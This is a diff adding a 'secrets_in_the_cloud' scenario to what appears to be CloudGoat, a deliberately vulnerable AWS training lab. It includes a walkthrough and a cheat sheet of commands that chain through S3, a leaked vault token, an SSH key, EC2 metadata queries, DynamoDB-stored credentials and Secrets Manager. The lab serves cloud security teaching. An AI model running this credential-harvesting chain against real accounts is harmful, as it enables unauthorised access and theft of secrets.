Secrets in the cloud

README.md

@@ -217,6 +217,14 @@ Starting with access the "ruse" EC2 the user leverages the instace profile to ba
 
 [Visit Scenario Page.](scenarios/ecs_efs_attack/README.md)
 
+### secrets_in_the_cloud (Large / Hard)
+
+`$ ./cloudgoat.py create secrets_in_the_cloud`
+
+As an IAM user with limited privileges, the attacker initiates their journey by examining AWS resources to uncover clues and hidden information. This investigation ultimately results in acquiring a role that grants access to the scenario's primary objective: retrieving the final secret from Secrets Manager.
+
+[Visit Scenario Page.](scenarios/secrets_in_the_cloud/README.md)
+
 ## Usage Guide
 
 The basic anatomy of a CloudGoat command is as follows:

scenarios/secrets_in_the_cloud/README.md

@@ -0,0 +1,46 @@
+# Scenario: secrets_in_the_cloud
+
+**Size:** Large
+
+**Difficulty:** Hard
+
+**Command:** `$ ./cloudgoat.py create secrets_in_the_cloud`
+
+## Resources
+
+* 1 Lambda
+* 1 EC2
+* 1 S3
+* 1 DynamoDB
+* 1 Secrets Manager Secret
+* 2 IAM Users
+
+## Start
+
+1. IAM User: low-priv-user
+
+## Goal
+
+Find the final secret in Secrets Manager.
+
+## Summary
+
+As an IAM user with limited privileges, the attacker initiates their journey by examining AWS resources to uncover clues and hidden information. This investigation ultimately results in acquiring a role that grants access to the scenario's primary objective: retrieving the final secret from Secrets Manager. Please note that this walkthrough outlines the intended path for completing the scenario. However, alternative approaches may exist, and we would be delighted to learn about any unique methods used to reach the finish line.
+
+## Path
+
+![Path](./path.png)
+
+## Walkthrough
+
+1. As the IAM user "low-priv-user", the attacker explores the AWS environment, discovering an S3 bucket containing the URL to a web application hosted on an EC2 instance.
+2. The attacker enumerates the web application and uncovers an admin page that prompts for an API key.
+3. While examining the admin page's HTML comments, the attacker finds information about environment variables and a HashiCorp endpoint.
+4. By enumerating the scenario's Lambda function, the attacker locates the web application's API key and uses it to obtain the HashiCorp vault token.
+5. The attacker exploits the vault token to log in to the HashiCorp endpoint and acquires the id_rsa key, which grants SSH access to the EC2 instance hosting the web application.
+6. Intrigued by the login message, the attacker queries the EC2 metadata service and discovers that IMDSv2 is in use.
+7. The attacker queries the EC2 metadata service again, using a token in the header of the request to successfully obtain a response.
+8. After enumerating the EC2 metadata service, the attacker decides to list available DynamoDB tables and discovers a table containing IAM user credentials specific to the scenario.
+9. Utilizing the newly acquired IAM user credentials, the attacker retrieves the final secret from the Secrets Manager, successfully completing the scenario.
+
+A cheat sheet for the scenario is available [here](./cheat_sheet.md).

scenarios/secrets_in_the_cloud/cheat_sheet.md

@@ -0,0 +1,43 @@
+```
+export AWS_ACCESS_KEY_ID=[low-priv-user]
+export AWS_SECRET_ACCESS_KEY=[low-priv-user]
+```
+
+`aws s3 ls`
+
+`aws s3 ls s3://[bucket]`
+
+`aws s3 cp s3://[bucket]/nates_web_app_url.txt .`
+
+`cat nates_web_app_url.txt`
+
+`aws lambda list-functions`
+
+`export VAULT_ADDR='http://[ip]:8200'`
+
+`vault login TorysTotallyTubular456`
+
+`vault kv get secret/id_rsa`
+
+`echo "[id_rsa]" >> id_rsa`
+
+`chmod 400 id_rsa`
+
+`ssh -i id_rsa ec2-user@[ip]`
+
+`TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")`
+
+`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info`
+
+`aws dynamodb list-tables`
+
+`aws dynamodb scan --table-name [table]`
+
+```
+export AWS_ACCESS_KEY_ID=[secrets-manager-user]
+export AWS_SECRET_ACCESS_KEY=[secrets-manager-user]
+```
+
+`aws secretsmanager list-secrets`
+
+`aws secretsmanager get-secret-value --secret-id [secret]`